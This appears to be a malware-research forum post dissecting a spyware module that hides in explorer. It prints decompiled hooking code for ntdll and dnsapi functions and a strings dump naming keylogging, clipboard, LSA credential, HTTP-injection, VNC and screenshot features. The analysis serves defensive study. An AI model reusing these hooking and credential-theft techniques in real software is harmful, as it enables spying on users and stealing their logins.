Tigzy wrote:Cool, thanks. :!:I've looked more on this and these hooks actually comes not from Xwskit but from payload it downloads and executes in explorer address space + lots of certificates.
from module.dll (https://code.google.com/p/v8/source/bro ... 24&r=20624)
Code: Select all
v5 = GetModuleHandleA("ntdll.dll");
result = (int)GetProcAddress(v5, "RtlPcToFileHeader");
RtlPcToFileHeader_original = result;
if ( result )
{
sub_10001FD0();
v6 = GetCurrentThread();
global_lock(v6);
SetHook(&RtlPcToFileHeader_original, RtlPcToFileHeaderHook);
result = global_unlock();
}
}Code: Select all
HMODULE __stdcall RtlPcToFileHeaderHook(unsigned int a1, int a2)
{
HMODULE result; // eax@3
int v3; // esi@3
if ( a1 < dword_1043864C || a1 >= dword_1043864C + dword_10438648 )
{
v3 = a2;
result = (HMODULE)RtlPcToFileHeader_original(a1, a2);
}
else
{
result = GetModuleHandleA("ntdll.dll");
v3 = a2;
*(_DWORD *)a2 = result;
}
*(_DWORD *)v3 = result;
return result;
}src_iedriver\SpywareJSWrappers.cclol
Code: Select all
Do believe original google code merged with malware. n g _ % s SocketWatcher set First arg should be a file descriptor. Second
arg should boolean (readable). Third arg should boolean (writable). src_i
edriver\socket_watcher.cpp socketwatcher d e s k t o p . i n i SpInitialize
DnsCacheGetDomainByAddr SpHookHttp SpUnhookHttp SpInsertInjection SpI
nsertBlockedUrl SpResetConfigs SpHookRecv SpHookSend SpHookSockets SpAddF
ilterRule SpRunVnc SpTakeScreenshot SpGetProcessList GCreateSharedStri
ng GGetSharedString GSetSharedString SpGetLocalNetworkNeighborhood SpGe
tLocalUsersAndGroups DbgGetLoadedModulesList DbgGetModuleDebugInformation
SpHookKeyboard SpHookLsa SpSetFileWatermark SpGetFileWatermark SpGetVendo
r src_iedriver\SpywareJSWrappers.cc [ C L I P B R D ] % s [ / C L I P B R D ]
[ E S C A P E ] [ E N T E R ] [ T A B ] [ D E L E T E ] [ C A P
S L O C K ] [ B A C K C P A C E ] GetClipboardData user32.dll PeekMes
sageA PeekMessageW ☻▄♣►╡▐♦►Q█♣►Z█♣►}▀♦►RtlRunDecodeUnicodeString ADVAPI
32.dll CredIsProtectedW CredUnprotectW msv1_0.dll LsaApLogonUserEx2 ☺
т♣►╡▐♦►Q█♣►.с♣►}▀♦►NtProtectVirtualMemory LdrGetProcedureAddress LdrLoadDll
NtMapViewOfSection RtlNtStatusToDosError ZwClose NtCreateSection worker rem
oteAddress remotePort %d.%d.%d.%d chrome.exe firefox.exe mswsock.dll Crypt3
2.dll opera.exe chrome.dll xul.dll NtDeviceIoControlFile DnsQuery_A dnsap
i.dll DnsQuery_W gdiplus.dll GdiplusStartup GdiplusShutdown GdipCreateBitmap
FromHBITMAP GdipDisposeImage GdipGetImageEncodersSize GdipGetImageEncoder
s GdipSaveImageToStream ole32.dll CreateStreamOnHGlobal gdi32.dll Cr
eateDCW CreateCompatibleDC CreateCompatibleBitmap GetDeviceCaps SelectObj
ect BitBlt DeleteObject DeleteDC i m a g e / j p e g ╡ф[↔J·-EЬ▌]│ + more hooks
Code: Select all
v4 = GetModuleHandleA("ntdll.dll");
dword_10438E88 = (int)GetProcAddress(v4, "NtDeviceIoControlFile");
v5 = LoadLibraryA("dnsapi.dll");
dword_10438E84 = (int)GetProcAddress(v5, "DnsQuery_A");
v6 = LoadLibraryA("dnsapi.dll");
v7 = GetProcAddress(v6, "DnsQuery_W");
dword_10438FD0 = (int)v7;
if ( dword_10438E88 && dword_10438E84 && v7 )
{
sub_10001FD0();
v8 = GetCurrentThread();
global_lock(v8);
if ( dword_10438E88 )
SetHook(&dword_10438E88, sub_1005FAB2);
if ( dword_10438E84 )
SetHook(&dword_10438E84, sub_1005F86C);
if ( dword_10438FD0 )
SetHook(&dword_10438FD0, sub_1005F8D0);
if ( !global_unlock() )
v0 = 1;
}